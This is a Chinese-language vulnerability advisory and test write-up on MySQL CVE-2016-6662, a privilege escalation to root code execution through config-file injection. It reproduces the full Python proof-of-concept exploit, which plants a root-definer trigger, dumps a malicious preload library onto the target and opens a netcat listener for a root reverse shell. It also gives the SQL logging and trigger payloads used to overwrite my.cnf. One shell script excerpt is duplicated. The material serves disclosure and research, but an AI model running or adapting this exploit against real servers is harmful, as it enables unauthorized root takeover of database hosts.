Mysql代码执行漏洞 CVE-2016-6662预警及测试
概要
Mysql (5.7, 5.6, 和 5.5版本)的所有默认安装配置，包括最新的版本，攻击者可以远程和本地利用该漏洞。
该漏洞需要认证访问MYSQL数据库（通过网络连接或者像phpMyAdmin的web接口），以及通过SQL注入利用。
攻击者成功利用该漏洞可以以ROOT权限执行代码，完全控制服务器。
利用条件：首先你要有一个Mysql低权限用户，仅需有FIle权限（例如：虚拟主机通常会提供，因为需要导入导出文件），即可实现Root权限提升，进而控制服务器
漏洞影响
MySQL <= 5.7.15 远程代码执行/ 提权 (0day)
5.6.33
5.5.52
Mysql分支的版本也受影响,包括：
MariaDB
PerconaDB
漏洞介绍
这个漏洞影响(5.7, 5.6, 和 5.5版本)的所有Mysql默认配置，包括最新的版本，攻击者可以远程和本地利用该漏洞。
该漏洞需要认证访问MYSQL数据库（通过网络连接或者像phpMyAdmin的web接口），以及通过SQL注入利用。
攻击者成功利用该漏洞可以以ROOT权限执行代码，完全控制服务器。
漏洞描述
先看下我本地的MYSQL版本信息
root@debian:~# lsb_release -a No LSB modules are available. Distributor ID: Debian Description: Debian GNU/Linux 8.5 (jessie) Release: 8.5 Codename: jessie root@debian:~# dpkg -l | grep -i mysql-server ii mysql-server 5.5.50-0+deb8u1 ii mysql-server-5.5 5.5.50-0+deb8u1 ii mysql-server-core-5.5 5.5.50-0+deb8u1
之后启动Mysql服务器
root@debian:~# service mysql start
查看mysql的进程信息
root 14967 0.0 0.1 4340 1588 ? S 06:41 0:00 /bin/sh /usr/bin/mysqld_safe mysql 15314 1.2 4.7 558160 47736 ? Sl 06:41 0:00 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --user=mysql --log-error=/var/log/mysql/error.log --pid-file=/var/run/mysqld/mysqld.pid --socket=/var/run/mysqld/mysqld.sock --port=3306
我们可以看到mysqld_safe的wrapper(封装)脚本是root权限执行的，而主要的mysqld进程确实mysql用户权限执行的。
我们看看该脚本
----[ /usr/bin/mysqld_safe ]----
[...]
# set_malloc_lib LIB
# - If LIB is empty, do nothing and return
# - If LIB is 'tcmalloc', look for tcmalloc shared library in /usr/lib
# then pkglibdir. tcmalloc is part of the Google perftools project.
# - If LIB is an absolute path, assume it is a malloc shared library
#
# Put LIB in mysqld_ld_preload, which will be added to LD_PRELOAD when
# running mysqld. See ld.so for details.
set_malloc_lib() {
malloc_lib="$1"
if [ "$malloc_lib" = tcmalloc ]; then
pkglibdir=`get_mysql_config --variable=pkglibdir`
malloc_lib=
# This list is kept intentionally simple. Simply set --malloc-lib
# to a full path if another location is desired.
for libdir in /usr/lib "$pkglibdir" "$pkglibdir/mysql"; do
for flavor in _minimal '' _and_profiler _debug; do
tmp="$libdir/libtcmalloc$flavor.so"
#log_notice "DEBUG: Checking for malloc lib '$tmp'"
[ -r "$tmp" ] || continue
malloc_lib="$tmp"
break 2
done
done
[...]
----------[ eof ]---------------
通过手册我们可以得知--malloc-lib=LIB 选项可以加载一个so文件，如果攻击者可以注入路径信息到配置文件，就可以在MYSQL服务重启的时候，执行任意代码。
从2003开始，默认通过SELECT * INFO OUTFILE '/var/lib/mysql/my.cnf'是不能覆写文件的，但是我们可以利用mysql logging（MySQL ）功能绕过outfile/dumpfile重写文件的保护，攻击者需要 SELECT/FILE 权限 。
依赖于mysql的版本，相应的配置文件也不同
比如mysql5.5
/etc/my.cnf Global options /etc/mysql/my.cnfGlobal options SYSCONFDIR/my.cnfGlobal options $MYSQL_HOME/my.cnfServer-specific options defaults-extra-fileThe file specified with --defaults-extra-file=file_name, if any ~/.my.cnfUser-specific options
我们通过覆写/etc/my.cnf注入malloc_lib=路径选项，命令如下：
----[ /usr/bin/mysqld_safe ]----
[...]
# set_malloc_lib LIB
# - If LIB is empty, do nothing and return
# - If LIB is 'tcmalloc', look for tcmalloc shared library in /usr/lib
# then pkglibdir. tcmalloc is part of the Google perftools project.
# - If LIB is an absolute path, assume it is a malloc shared library
#
# Put LIB in mysqld_ld_preload, which will be added to LD_PRELOAD when
# running mysqld. See ld.so for details.
set_malloc_lib() {
malloc_lib="$1"
if [ "$malloc_lib" = tcmalloc ]; then
pkglibdir=`get_mysql_config --variable=pkglibdir`
malloc_lib=
# This list is kept intentionally simple. Simply set --malloc-lib
# to a full path if another location is desired.
for libdir in /usr/lib "$pkglibdir" "$pkglibdir/mysql"; do
for flavor in _minimal '' _and_profiler _debug; do
tmp="$libdir/libtcmalloc$flavor.so"
#log_notice "DEBUG: Checking for malloc lib '$tmp'"
[ -r "$tmp" ] || continue
malloc_lib="$tmp"
break 2
done
done
[...]
----------[ eof ]---------------
mysql> set global general_log_file = '/etc/my.cnf';
mysql> set global general_log = on;
mysql> select '
'>
'> ; injected config entry
'>
'> [mysqld]
'> malloc_lib=/tmp/mysql_exploit_lib.so
'>
'> [separator]
'>
'> ';
mysql> set global general_log = off;
注意：修改配置文件后，会导致mysql重启的时候失败。
注入后的my.cnf文件包含：
[mysqld] malloc_lib=/tmp/mysql_exploit_lib.so
mysqld_safe也载入配置文件从mysql的data目录，(/var/lib/mysql/my.cnf)，这个功能从mysql 5.7移除，不再加载，所以即使mysql用户没有权限修改/etc/my.cnf，也可以通过下面的文件来加载
/var/lib/mysql/my.cnf /var/lib/mysql/.my.cnf
即使没有dba权限，也可以通过触发器来覆写文件
CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf AFTER INSERT ON `active_table` FOR EACH ROW BEGIN DECLARE void varchar(550); set global general_log_file='/var/lib/mysql/my.cnf'; set global general_log = on; select " [mysqld] malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so' " INTO void; set global general_log = off; END; SELECT '....trigger_code...' INTO DUMPFILE /var/lib/mysql/activedb/active_table.TRG'
触发器写入成功后，刷新的时候会载入，比如通过执行一个insert语句来刷新
INSERT INTO `active_table` VALUES('xyz');
POC
----------[ 0ldSQL_MySQL_RCE_exploit.py ]--------------
#!/usr/bin/python
# This is a limited version of the PoC exploit. It only allows appending to
# existing mysql config files with weak permissions. See V) 1) section of
# the advisory for details on this vector.
#
# Full PoC will be released at a later date, and will show how attackers could
# exploit the vulnerability on default installations of MySQL on systems with no
# writable my.cnf config files available.
#
# The upcoming advisory CVE-2016-6663 will also make the exploitation trivial
# for certain low-privileged attackers that do not have FILE privilege.
#
# See full advisory for details:
# http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.txt
#
# Stay tuned ;)
intro = """
0ldSQL_MySQL_RCE_exploit.py (ver. 1.0)
(CVE-2016-6662) MySQL Remote Root Code Execution / Privesc PoC Exploit
For testing purposes only. Do no harm.
Discovered/Coded by:
Dawid Golunski
http://legalhackers.com
"""
import argparse
import mysql.connector
import binascii
import subprocess
def info(str):
print "[+] " + str + "\n"
def errmsg(str):
print "[!] " + str + "\n"
def shutdown(code):
if (code==0):
info("Exiting (code: %d)\n" % code)
else:
errmsg("Exiting (code: %d)\n" % code)
exit(code)
cmd = "rm -f /var/lib/mysql/pocdb/poctable.TRG ; rm -f /var/lib/mysql/mysql_hookandroot_lib.so"
process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
(result, error) = process.communicate()
rc = process.wait()
# where will the library to be preloaded reside? /tmp might get emptied on reboot
# /var/lib/mysql is safer option (and mysql can definitely write in there ;)
malloc_lib_path='/var/lib/mysql/mysql_hookandroot_lib.so'
# Main Meat
print intro
# Parse input args
parser = argparse.ArgumentParser(prog='0ldSQL_MySQL_RCE_exploit.py', description='PoC for MySQL Remote Root Code Execution / Privesc CVE-2016-6662')
parser.add_argument('-dbuser', dest='TARGET_USER', required=True, help='MySQL username')
parser.add_argument('-dbpass', dest='TARGET_PASS', required=True, help='MySQL password')
parser.add_argument('-dbname', dest='TARGET_DB', required=True, help='Remote MySQL database name')
parser.add_argument('-dbhost', dest='TARGET_HOST', required=True, help='Remote MySQL host')
parser.add_argument('-mycnf', dest='TARGET_MYCNF', required=True, help='Remote my.cnf owned by mysql user')
args = parser.parse_args()
# Connect to database. Provide a user with CREATE TABLE, SELECT and FILE permissions
# CREATE requirement could be bypassed (malicious trigger could be attached to existing tables)
info("Connecting to target server %s and target mysql account '%s@%s' using DB '%s'" % (args.TARGET_HOST, args.TARGET_USER, args.TARGET_HOST, args.TARGET_DB))
try:
dbconn = mysql.connector.connect(user=args.TARGET_USER, password=args.TARGET_PASS, database=args.TARGET_DB, host=args.TARGET_HOST)
except mysql.connector.Error as err:
errmsg("Failed to connect to the target: {}".format(err))
shutdown(1)
try:
cursor = dbconn.cursor()
cursor.execute("SHOW GRANTS")
except mysql.connector.Error as err:
errmsg("Something went wrong: {}".format(err))
shutdown(2)
privs = cursor.fetchall()
info("The account in use has the following grants/perms: " )
for priv in privs:
print priv[0]
print ""
# Compile mysql_hookandroot_lib.so shared library that will eventually hook to the mysqld
# process execution and run our code (Remote Root Shell)
# Remember to match the architecture of the target (not your machine!) otherwise the library
# will not load properly on the target.
info("Compiling mysql_hookandroot_lib.so")
cmd = "gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl"
process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
(result, error) = process.communicate()
rc = process.wait()
if rc != 0:
errmsg("Failed to compile mysql_hookandroot_lib.so: %s" % cmd)
print error
shutdown(2)
# Load mysql_hookandroot_lib.so library and encode it into HEX
info("Converting mysql_hookandroot_lib.so into HEX")
hookandrootlib_path = './mysql_hookandroot_lib.so'
with open(hookandrootlib_path, 'rb') as f:
content = f.read()
hookandrootlib_hex = binascii.hexlify(content)
# Trigger payload that will elevate user privileges and sucessfully execute SET GLOBAL GENERAL_LOG
# Decoded payload (paths may differ):
"""
DELIMITER //
CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf
AFTER INSERT
ON `poctable` FOR EACH ROW
BEGIN
DECLARE void varchar(550);
set global general_log_file='/var/lib/mysql/my.cnf';
set global general_log = on;
select "
# 0ldSQL_MySQL_RCE_exploit got here :)
[mysqld]
malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'
[abyss]
" INTO void;
set global general_log = off;
END; //
DELIMITER ;
"""
trigger_payload="""TYPE=TRIGGERS
triggers='CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf\\nAFTER INSERT\\n ON `poctable` FOR EACH ROW\\nBEGIN\\n\\n DECLARE void varchar(550);\\n set global general_log_file=\\'%s\\';\\n set global general_log = on;\\n select "\\n\\n# 0ldSQL_MySQL_RCE_exploit got here :)\\n\\n[mysqld]\\nmalloc_lib=\\'%s\\'\\n\\n[abyss]\\n" INTO void; \\n set global general_log = off;\\n\\nEND'
sql_modes=0
definers='root@localhost'
client_cs_names='utf8'
connection_cl_names='utf8_general_ci'
db_cl_names='latin1_swedish_ci'
""" % (args.TARGET_MYCNF, malloc_lib_path)
# Convert trigger into HEX to pass it to unhex() SQL function
trigger_payload_hex = "".join("{:02x}".format(ord(c)) for c in trigger_payload)
# Save trigger into a trigger file
TRG_path="/var/lib/mysql/%s/poctable.TRG" % args.TARGET_DB
info("Saving trigger payload into %s" % (TRG_path))
try:
cursor = dbconn.cursor()
cursor.execute("""SELECT unhex("%s") INTO DUMPFILE '%s' """ % (trigger_payload_hex, TRG_path) )
except mysql.connector.Error as err:
errmsg("Something went wrong: {}".format(err))
shutdown(4)
# Save library into a trigger file
info("Dumping shared library into %s file on the target" % malloc_lib_path)
try:
cursor = dbconn.cursor()
cursor.execute("""SELECT unhex("%s") INTO DUMPFILE '%s' """ % (hookandrootlib_hex, malloc_lib_path) )
except mysql.connector.Error as err:
errmsg("Something went wrong: {}".format(err))
shutdown(5)
# Creating table poctable so that /var/lib/mysql/pocdb/poctable.TRG trigger gets loaded by the server
info("Creating table 'poctable' so that injected 'poctable.TRG' trigger gets loaded")
try:
cursor = dbconn.cursor()
cursor.execute("CREATE TABLE `poctable` (line varchar(600)) ENGINE='MyISAM'" )
except mysql.connector.Error as err:
errmsg("Something went wrong: {}".format(err))
shutdown(6)
# Finally, execute the trigger's payload by inserting anything into `poctable`.
# The payload will write to the mysql config file at this point.
info("Inserting data to `poctable` in order to execute the trigger and write data to the target mysql config %s" % args.TARGET_MYCNF )
try:
cursor = dbconn.cursor()
cursor.execute("INSERT INTO `poctable` VALUES('execute the trigger!');" )
except mysql.connector.Error as err:
errmsg("Something went wrong: {}".format(err))
shutdown(6)
# Check on the config that was just created
info("Showing the contents of %s config to verify that our setting (malloc_lib) got injected" % args.TARGET_MYCNF )
try:
cursor = dbconn.cursor()
cursor.execute("SELECT load_file('%s')" % args.TARGET_MYCNF)
except mysql.connector.Error as err:
errmsg("Something went wrong: {}".format(err))
shutdown(2)
finally:
dbconn.close() # Close DB connection
print ""
myconfig = cursor.fetchall()
print myconfig[0][0]
info("Looks messy? Have no fear, the preloaded lib mysql_hookandroot_lib.so will clean up all the mess before mysqld daemon even reads it :)")
# Spawn a Shell listener using netcat on 6033 (inverted 3306 mysql port so easy to remember ;)
info("Everything is set up and ready. Spawning netcat listener and waiting for MySQL daemon to get restarted to get our rootshell... :)" )
listener = subprocess.Popen(args=["/bin/nc", "-lvp","6033"])
listener.communicate()
print ""
# Show config again after all the action is done
info("Shell closed. Hope you had fun. ")
# Mission complete, but just for now... Stay tuned :)
info("""Stay tuned for the CVE-2016-6663 advisory and/or a complete PoC that can craft a new valid my.cnf (i.e no writable my.cnf required) ;)""")
# Shutdown
shutdown(0)
对CVE-2016-6662的简单测试
1.修改my.cnf的权限，让mysql用户可写
2.通过mysql logging 覆写文件
3.放置后门程序
gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.c.so mysql_hookandroot_lib.c.c -ldl
4.重启触发反弹
修复办法：
0day漏洞，目前尚无补丁.
临时修复建议：关闭mysql用户file权限 .
原文参考：
【老外原文：legalhackers.com 国内翻译来源：【重大漏洞预警】Mysql代码执行漏洞，可本地提权（含exp，9/12 23点更新） 翻译与测试:adlab_mickey 安全脉搏 分享技术 悦享品质】